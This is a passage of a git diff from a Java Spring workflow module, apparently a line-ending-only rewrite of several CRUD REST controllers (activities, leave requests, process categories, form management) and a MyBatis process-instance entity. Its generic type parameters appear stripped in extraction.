- * 删除活动 - * - * @param ids 主键串 - */ - @SaCheckPermission("workflow:activity:remove") - @Log(title = "活动", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(tActivityService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.workflow.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.workflow.domain.bo.TActivityBo; +import org.dromara.workflow.domain.vo.TActivityVo; +import org.dromara.workflow.service.ITActivityService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 活动 + * + * @author Lion Li + * @date 2024-07-19 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/workflow/activity") +public class TActivityController extends BaseController { + + private final ITActivityService tActivityService; + + /** + * 查询活动列表 + */ + @SaCheckPermission("workflow:activity:list") + @GetMapping("/list") + public TableDataInfo list(TActivityBo bo, PageQuery pageQuery) { + return tActivityService.queryPageList(bo, pageQuery); + } + + /** + * 导出活动列表 + */ + @SaCheckPermission("workflow:activity:export") + @Log(title = "活动", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TActivityBo bo, HttpServletResponse response) { + List list = tActivityService.queryList(bo); + ExcelUtil.exportExcel(list, "活动", TActivityVo.class, response); + } + + /** + * 获取活动详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("workflow:activity:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(tActivityService.queryById(id)); + } + + /** + * 新增活动 + */ + @SaCheckPermission("workflow:activity:add") + @Log(title = "活动", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TActivityBo bo) { + return toAjax(tActivityService.insertByBo(bo)); + } + + /** + * 修改活动 + */ + @SaCheckPermission("workflow:activity:edit") + @Log(title = "活动", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TActivityBo bo) { + return toAjax(tActivityService.updateByBo(bo)); + } + + /** + * 删除活动 + * + * @param ids 主键串 + */ + @SaCheckPermission("workflow:activity:remove") + @Log(title = "活动", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(tActivityService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/TestLeaveController.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/TestLeaveController.java index e1c246f..a1d7989 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/TestLeaveController.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/TestLeaveController.java @@ -1,106 +1,106 @@ -package org.dromara.workflow.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.workflow.domain.bo.TestLeaveBo; -import org.dromara.workflow.domain.vo.TestLeaveVo; -import org.dromara.workflow.service.ITestLeaveService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 请假 - * - * @author may - * @date 2023-07-21 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/workflow/leave") -public class TestLeaveController extends BaseController { - - private final ITestLeaveService testLeaveService; - - /** - * 查询请假列表 - */ - @SaCheckPermission("workflow:leave:list") - @GetMapping("/list") - public TableDataInfo list(TestLeaveBo bo, PageQuery pageQuery) { - return testLeaveService.queryPageList(bo, pageQuery); - } - - /** - * 导出请假列表 - */ - @SaCheckPermission("workflow:leave:export") - @Log(title = "请假", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(TestLeaveBo bo, HttpServletResponse response) { - List list = testLeaveService.queryList(bo); - ExcelUtil.exportExcel(list, "请假", TestLeaveVo.class, response); - } - - /** - * 获取请假详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("workflow:leave:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(testLeaveService.queryById(id)); - } - - /** - * 新增请假 - */ - @SaCheckPermission("workflow:leave:add") - @Log(title = "请假", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody TestLeaveBo bo) { - return R.ok(testLeaveService.insertByBo(bo)); - } - - /** - * 修改请假 - */ - @SaCheckPermission("workflow:leave:edit") - @Log(title = "请假", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody TestLeaveBo bo) { - return R.ok(testLeaveService.updateByBo(bo)); - } - - /** - * 删除请假 - * - * @param ids 主键串 - */ - @SaCheckPermission("workflow:leave:remove") - @Log(title = "请假", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(testLeaveService.deleteWithValidByIds(List.of(ids))); - } -} +package org.dromara.workflow.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.workflow.domain.bo.TestLeaveBo; +import org.dromara.workflow.domain.vo.TestLeaveVo; +import org.dromara.workflow.service.ITestLeaveService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 请假 + * + * @author may + * @date 2023-07-21 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/workflow/leave") +public class TestLeaveController extends BaseController { + + private final ITestLeaveService testLeaveService; + + /** + * 查询请假列表 + */ + @SaCheckPermission("workflow:leave:list") + @GetMapping("/list") + public TableDataInfo list(TestLeaveBo bo, PageQuery pageQuery) { + return testLeaveService.queryPageList(bo, pageQuery); + } + + /** + * 导出请假列表 + */ + @SaCheckPermission("workflow:leave:export") + @Log(title = "请假", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(TestLeaveBo bo, HttpServletResponse response) { + List list = testLeaveService.queryList(bo); + ExcelUtil.exportExcel(list, "请假", TestLeaveVo.class, response); + } + + /** + * 获取请假详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("workflow:leave:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(testLeaveService.queryById(id)); + } + + /** + * 新增请假 + */ + @SaCheckPermission("workflow:leave:add") + @Log(title = "请假", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody TestLeaveBo bo) { + return R.ok(testLeaveService.insertByBo(bo)); + } + + /** + * 修改请假 + */ + @SaCheckPermission("workflow:leave:edit") + @Log(title = "请假", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody TestLeaveBo bo) { + return R.ok(testLeaveService.updateByBo(bo)); + } + + /** + * 删除请假 + * + * @param ids 主键串 + */ + @SaCheckPermission("workflow:leave:remove") + @Log(title = "请假", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(testLeaveService.deleteWithValidByIds(List.of(ids))); + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/WfCategoryController.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/WfCategoryController.java index 8dced89..7102e4a 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/WfCategoryController.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/WfCategoryController.java @@ -1,106 +1,106 @@ -package org.dromara.workflow.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.web.core.BaseController; -import org.dromara.workflow.domain.bo.WfCategoryBo; -import org.dromara.workflow.domain.vo.WfCategoryVo; -import org.dromara.workflow.service.IWfCategoryService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 流程分类 - * - * @author may - * @date 2023-06-28 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/workflow/category") -public class WfCategoryController extends BaseController { - - private final IWfCategoryService wfCategoryService; - - /** - * 查询流程分类列表 - */ - @SaCheckPermission("workflow:category:list") - @GetMapping("/list") - public R> list(WfCategoryBo bo) { - List list = wfCategoryService.queryList(bo); - return R.ok(list); - - } - - /** - * 导出流程分类列表 - */ - @SaCheckPermission("workflow:category:export") - @Log(title = "流程分类", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(WfCategoryBo bo, HttpServletResponse response) { - List list = wfCategoryService.queryList(bo); - ExcelUtil.exportExcel(list, "流程分类", WfCategoryVo.class, response); - } - - /** - * 获取流程分类详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("workflow:category:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(wfCategoryService.queryById(id)); - } - - /** - * 新增流程分类 - */ - @SaCheckPermission("workflow:category:add") - @Log(title = "流程分类", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody WfCategoryBo bo) { - return toAjax(wfCategoryService.insertByBo(bo)); - } - - /** - * 修改流程分类 - */ - @SaCheckPermission("workflow:category:edit") - @Log(title = "流程分类", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody WfCategoryBo bo) { - return toAjax(wfCategoryService.updateByBo(bo)); - } - - /** - * 删除流程分类 - * - * @param ids 主键串 - */ - @SaCheckPermission("workflow:category:remove") - @Log(title = "流程分类", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(wfCategoryService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.workflow.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.web.core.BaseController; +import org.dromara.workflow.domain.bo.WfCategoryBo; +import org.dromara.workflow.domain.vo.WfCategoryVo; +import org.dromara.workflow.service.IWfCategoryService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 流程分类 + * + * @author may + * @date 2023-06-28 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/workflow/category") +public class WfCategoryController extends BaseController { + + private final IWfCategoryService wfCategoryService; + + /** + * 查询流程分类列表 + */ + @SaCheckPermission("workflow:category:list") + @GetMapping("/list") + public R> list(WfCategoryBo bo) { + List list = wfCategoryService.queryList(bo); + return R.ok(list); + + } + + /** + * 导出流程分类列表 + */ + @SaCheckPermission("workflow:category:export") + @Log(title = "流程分类", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(WfCategoryBo bo, HttpServletResponse response) { + List list = wfCategoryService.queryList(bo); + ExcelUtil.exportExcel(list, "流程分类", WfCategoryVo.class, response); + } + + /** + * 获取流程分类详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("workflow:category:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(wfCategoryService.queryById(id)); + } + + /** + * 新增流程分类 + */ + @SaCheckPermission("workflow:category:add") + @Log(title = "流程分类", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody WfCategoryBo bo) { + return toAjax(wfCategoryService.insertByBo(bo)); + } + + /** + * 修改流程分类 + */ + @SaCheckPermission("workflow:category:edit") + @Log(title = "流程分类", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody WfCategoryBo bo) { + return toAjax(wfCategoryService.updateByBo(bo)); + } + + /** + * 删除流程分类 + * + * @param ids 主键串 + */ + @SaCheckPermission("workflow:category:remove") + @Log(title = "流程分类", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(wfCategoryService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/WfDefinitionConfigController.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/WfDefinitionConfigController.java index 743f31c..a4effa5 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/WfDefinitionConfigController.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/WfDefinitionConfigController.java @@ -1,80 +1,80 @@ -package org.dromara.workflow.controller; - -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotEmpty; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.web.core.BaseController; -import org.dromara.workflow.domain.bo.WfDefinitionConfigBo; -import org.dromara.workflow.domain.vo.WfDefinitionConfigVo; -import org.dromara.workflow.service.IWfDefinitionConfigService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 流程定义配置 - * - * @author may - * @date 2024-03-18 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/workflow/definitionConfig") -public class WfDefinitionConfigController extends BaseController { - - private final IWfDefinitionConfigService wfDefinitionConfigService; - - - /** - * 获取流程定义配置详细信息 - * - * @param definitionId 主键 - */ - @GetMapping("/getByDefId/{definitionId}") - public R getByDefId(@NotBlank(message = "流程定义ID不能为空") - @PathVariable String definitionId) { - return R.ok(wfDefinitionConfigService.getByDefId(definitionId)); - } - - /** - * 新增流程定义配置 - */ - @Log(title = "流程定义配置", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping("/saveOrUpdate") - public R saveOrUpdate(@Validated(AddGroup.class) @RequestBody WfDefinitionConfigBo bo) { - return toAjax(wfDefinitionConfigService.saveOrUpdate(bo)); - } - - /** - * 删除流程定义配置 - * - * @param ids 主键串 - */ - @Log(title = "流程定义配置", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(wfDefinitionConfigService.deleteByIds(List.of(ids))); - } - - /** - * 查询流程定义配置排除当前查询的流程定义 - * - * @param tableName 表名 - * @param definitionId 流程定义id - */ - @GetMapping("/getByTableNameNotDefId/{tableName}/{definitionId}") - public R> getByTableNameNotDefId(@NotBlank(message = "表名不能为空") @PathVariable String tableName, - @NotBlank(message = "流程定义ID不能为空") @PathVariable String definitionId) { - return R.ok(wfDefinitionConfigService.getByTableNameNotDefId(tableName, definitionId)); - } - -} +package org.dromara.workflow.controller; + +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotEmpty; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.web.core.BaseController; +import org.dromara.workflow.domain.bo.WfDefinitionConfigBo; +import org.dromara.workflow.domain.vo.WfDefinitionConfigVo; +import org.dromara.workflow.service.IWfDefinitionConfigService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 流程定义配置 + * + * @author may + * @date 2024-03-18 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/workflow/definitionConfig") +public class WfDefinitionConfigController extends BaseController { + + private final IWfDefinitionConfigService wfDefinitionConfigService; + + + /** + * 获取流程定义配置详细信息 + * + * @param definitionId 主键 + */ + @GetMapping("/getByDefId/{definitionId}") + public R getByDefId(@NotBlank(message = "流程定义ID不能为空") + @PathVariable String definitionId) { + return R.ok(wfDefinitionConfigService.getByDefId(definitionId)); + } + + /** + * 新增流程定义配置 + */ + @Log(title = "流程定义配置", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping("/saveOrUpdate") + public R saveOrUpdate(@Validated(AddGroup.class) @RequestBody WfDefinitionConfigBo bo) { + return toAjax(wfDefinitionConfigService.saveOrUpdate(bo)); + } + + /** + * 删除流程定义配置 + * + * @param ids 主键串 + */ + @Log(title = "流程定义配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(wfDefinitionConfigService.deleteByIds(List.of(ids))); + } + + /** + * 查询流程定义配置排除当前查询的流程定义 + * + * @param tableName 表名 + * @param definitionId 流程定义id + */ + @GetMapping("/getByTableNameNotDefId/{tableName}/{definitionId}") + public R> getByTableNameNotDefId(@NotBlank(message = "表名不能为空") @PathVariable String tableName, + @NotBlank(message = "流程定义ID不能为空") @PathVariable String definitionId) { + return R.ok(wfDefinitionConfigService.getByTableNameNotDefId(tableName, definitionId)); + } + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/WfFormManageController.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/WfFormManageController.java index de872e6..5e427bd 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/WfFormManageController.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/controller/WfFormManageController.java @@ -1,115 +1,115 @@ -package org.dromara.workflow.controller; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.workflow.domain.bo.WfFormManageBo; -import org.dromara.workflow.domain.vo.WfFormManageVo; -import org.dromara.workflow.service.IWfFormManageService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 表单管理 - * - * @author may - * @date 2024-03-29 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/workflow/formManage") -public class WfFormManageController extends BaseController { - - private final IWfFormManageService wfFormManageService; - - /** - * 查询表单管理列表 - */ - @SaCheckPermission("workflow:formManage:list") - @GetMapping("/list") - public TableDataInfo list(WfFormManageBo bo, PageQuery pageQuery) { - return wfFormManageService.queryPageList(bo, pageQuery); - } - - /** - * 查询表单管理列表 - */ - @SaCheckPermission("workflow:formManage:list") - @GetMapping("/list/selectList") - public R> selectList() { - return R.ok(wfFormManageService.selectList()); - } - - /** - * 导出表单管理列表 - */ - @SaCheckPermission("workflow:formManage:export") - @Log(title = "表单管理", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(WfFormManageBo bo, HttpServletResponse response) { - List list = wfFormManageService.queryList(bo); - ExcelUtil.exportExcel(list, "表单管理", WfFormManageVo.class, response); - } - - /** - * 获取表单管理详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("workflow:formManage:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(wfFormManageService.queryById(id)); - } - - /** - * 新增表单管理 - */ - @SaCheckPermission("workflow:formManage:add") - @Log(title = "表单管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody WfFormManageBo bo) { - return toAjax(wfFormManageService.insertByBo(bo)); - } - - /** - * 修改表单管理 - */ - @SaCheckPermission("workflow:formManage:edit") - @Log(title = "表单管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody WfFormManageBo bo) { - return toAjax(wfFormManageService.updateByBo(bo)); - } - - /** - * 删除表单管理 - * - * @param ids 主键串 - */ - @SaCheckPermission("workflow:formManage:remove") - @Log(title = "表单管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(wfFormManageService.deleteByIds(List.of(ids))); - } -} +package org.dromara.workflow.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.workflow.domain.bo.WfFormManageBo; +import org.dromara.workflow.domain.vo.WfFormManageVo; +import org.dromara.workflow.service.IWfFormManageService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 表单管理 + * + * @author may + * @date 2024-03-29 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/workflow/formManage") +public class WfFormManageController extends BaseController { + + private final IWfFormManageService wfFormManageService; + + /** + * 查询表单管理列表 + */ + @SaCheckPermission("workflow:formManage:list") + @GetMapping("/list") + public TableDataInfo list(WfFormManageBo bo, PageQuery pageQuery) { + return wfFormManageService.queryPageList(bo, pageQuery); + } + + /** + * 查询表单管理列表 + */ + @SaCheckPermission("workflow:formManage:list") + @GetMapping("/list/selectList") + public R> selectList() { + return R.ok(wfFormManageService.selectList()); + } + + /** + * 导出表单管理列表 + */ + @SaCheckPermission("workflow:formManage:export") + @Log(title = "表单管理", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(WfFormManageBo bo, HttpServletResponse response) { + List list = wfFormManageService.queryList(bo); + ExcelUtil.exportExcel(list, "表单管理", WfFormManageVo.class, response); + } + + /** + * 获取表单管理详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("workflow:formManage:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(wfFormManageService.queryById(id)); + } + + /** + * 新增表单管理 + */ + @SaCheckPermission("workflow:formManage:add") + @Log(title = "表单管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody WfFormManageBo bo) { + return toAjax(wfFormManageService.insertByBo(bo)); + } + + /** + * 修改表单管理 + */ + @SaCheckPermission("workflow:formManage:edit") + @Log(title = "表单管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody WfFormManageBo bo) { + return toAjax(wfFormManageService.updateByBo(bo)); + } + + /** + * 删除表单管理 + * + * @param ids 主键串 + */ + @SaCheckPermission("workflow:formManage:remove") + @Log(title = "表单管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(wfFormManageService.deleteByIds(List.of(ids))); + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/ActHiProcinst.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/ActHiProcinst.java index e87fb92..275ad79 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/ActHiProcinst.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/ActHiProcinst.java @@ -1,152 +1,152 @@ -package org.dromara.workflow.domain; - -import com.baomidou.mybatisplus.annotation.TableField; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - -/** - * 流程实例对象 act_hi_procinst - * - * @author may - * @date 2023-07-22 - */ -@Data -@TableName("act_hi_procinst") -public class ActHiProcinst implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @TableId(value = "ID_") - private String id; - - /** - * - */ - @TableField(value = "REV_") - private Long rev; - - /** - * - */ - @TableField(value = "PROC_INST_ID_") - private String procInstId; - - /** - * - */ - @TableField(value = "BUSINESS_KEY_") - private String businessKey; - - /** - * - */ - @TableField(value = "PROC_DEF_ID_") - private String procDefId; - - /** - * - */ - @TableField(value = "START_TIME_") - private Date startTime; - - /** - * - */ - @TableField(value = "END_TIME_") - private Date endTime; - - /** - * - */ - @TableField(value = "DURATION_") - private Long duration; - - /** - * - */ - @TableField(value = "START_USER_ID_") - private String startUserId; - - /** - * - */ - @TableField(value = "START_ACT_ID_") - private String startActId; - - /** - * - */ - @TableField(value = "END_ACT_ID_") - private String endActId; - - /** - * - */ - @TableField(value = "SUPER_PROCESS_INSTANCE_ID_") - private String superProcessInstanceId; - - /** - * - */ - @TableField(value = "DELETE_REASON_") - private String deleteReason; - - /** - * - */ - @TableField(value = "TENANT_ID_") - private String tenantId; - - /** - * - */ - @TableField(value = "NAME_") - private String name; - - /** - * - */ - @TableField(value = "CALLBACK_ID_") - private String callbackId; - - /** - * - */ - @TableField(value = "CALLBACK_TYPE_") - private String callbackType; - - /** - * - */ - @TableField(value = "REFERENCE_ID_") - private String referenceId; - - /** - * - */ - @TableField(value = "REFERENCE_TYPE_") - private String referenceType; - - /** - * - */ - @TableField(value = "PROPAGATED_STAGE_INST_ID_") - private String propagatedStageInstId; - - /** - * - */ - @TableField(value = "BUSINESS_STATUS_") - private String businessStatus; - - -} +package org.dromara.workflow.domain; + +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + +/** + * 流程实例对象 act_hi_procinst + * + * @author may + * @date 2023-07-22 + */ +@Data +@TableName("act_hi_procinst") +public class ActHiProcinst implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @TableId(value = "ID_") + private String id; + + /** + * + */ + @TableField(value = "REV_") + private Long rev; + + /** + * + */ + @TableField(value = 